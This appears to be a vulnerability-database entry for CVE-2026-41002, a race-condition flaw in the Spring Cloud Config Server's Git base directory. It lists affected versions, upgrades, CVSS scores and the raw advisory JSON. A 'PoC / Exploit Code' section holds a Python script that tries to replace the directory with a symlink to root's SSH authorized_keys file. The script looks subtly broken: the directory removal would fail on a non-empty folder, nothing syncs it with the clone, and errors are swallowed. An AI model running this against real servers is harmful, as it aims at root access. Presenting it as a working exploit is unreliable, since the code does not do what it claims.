Security Vulnerability Report
中文
CVE-2026-41002 CVSS 7.2 HIGH

CVE-2026-41002

Published: 2026-05-07 04:16:26
Last Modified: 2026-05-12 17:29:53

Description

The base directory (`spring.cloud.config.server.git.basedir`) used by the Spring Cloud Config Server to clone Git repositories to is susceptible to time-of-check-time-of-use (TOCTOU) attacks. Spring Cloud Config 3.1.x: affected from 3.1.0 through 3.1.13 (inclusive); upgrade to 3.1.14 or greater (Enterprise Support Only). Spring Cloud Config 4.1.x: affected from 4.1.0 through 4.1.9 (inclusive); upgrade to 4.1.10 or greater (Enterprise Support Only). Spring Cloud Config 4.2.x: affected from 4.2.0 through 4.2.6 (inclusive); upgrade to 4.2.7 or greater (Enterprise Support Only). Spring Cloud Config 4.3.x: affected from 4.3.0 through 4.3.2 (inclusive); upgrade to 4.3.3 or greater. Spring Cloud Config 5.0.x: affected from 5.0.0 through 5.0.2 (inclusive); upgrade to 5.0.3 or greater.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
Spring Cloud Config 3.1.0 - 3.1.13
Spring Cloud Config 4.1.0 - 4.1.9
Spring Cloud Config 4.2.0 - 4.2.6
Spring Cloud Config 4.3.0 - 4.3.2
Spring Cloud Config 5.0.0 - 5.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import time # Target directory configured in spring.cloud.config.server.git.basedir TARGET_DIR = "/path/to/spring-cloud-config/basedir" # Sensitive file to overwrite (e.g., ssh authorized keys) TARGET_FILE = "/root/.ssh/authorized_keys" def exploit_toctou(): print("[+] Starting TOCTOU exploit...") while True: try: # Check if the directory exists (Server might have just created it) if os.path.exists(TARGET_DIR): # Remove the directory os.rmdir(TARGET_DIR) # Replace it with a symlink to a sensitive file os.symlink(TARGET_FILE, TARGET_DIR) print(f"[+] Directory replaced with symlink to {TARGET_FILE}") # Sleep briefly to allow the write operation to occur time.sleep(0.1) # Cleanup/Reset for the next attempt cycle if os.path.islink(TARGET_DIR): os.unlink(TARGET_DIR) except Exception as e: # Handle race conditions where state changes between checks continue if __name__ == "__main__": # Note: This script must be run with high privileges locally on the target server # concurrently with a Git clone operation triggered in the application. exploit_toctou()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41002", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:25.707", "lastModified": "2026-05-12T17:29:53.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The base directory (`spring.cloud.config.server.git.basedir`) used by the Spring Cloud Config Server to clone Git repositories to is susceptible to time-of-check-time-of-use (TOCTOU) attacks.\nSpring Cloud Config 3.1.x: affected from 3.1.0 through 3.1.13 (inclusive); upgrade to 3.1.14 or greater (Enterprise Support Only). Spring Cloud Config 4.1.x: affected from 4.1.0 through 4.1.9 (inclusive); upgrade to 4.1.10 or greater (Enterprise Support Only). Spring Cloud Config 4.2.x: affected from 4.2.0 through 4.2.6 (inclusive); upgrade to 4.2.7 or greater (Enterprise Support Only). Spring Cloud Config 4.3.x: affected from 4.3.0 through 4.3.2 (inclusive); upgrade to 4.3.3 or greater. Spring Cloud Config 5.0.x: affected from 5.0.0 through 5.0.2 (inclusive); upgrade to 5.0.3 or greater."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.14", "matchCriteriaId": "A35B9ECF-3B4A-4E35-8CDE-54EC21E723DB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.10", "matchCriteriaId": "446B9053-153B-41E3-A339-C216572E5450"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "4.2.7", "matchCriteriaId": "2B36B389-41C0-400D-BA92-F5905C9BEBFD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.3.3", "matchCriteriaId": "5E965315-4507-461D-979F-D5F5602EC8D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "218A144D-2CDA-4873-899C-7D8718D5601F"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-41002", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}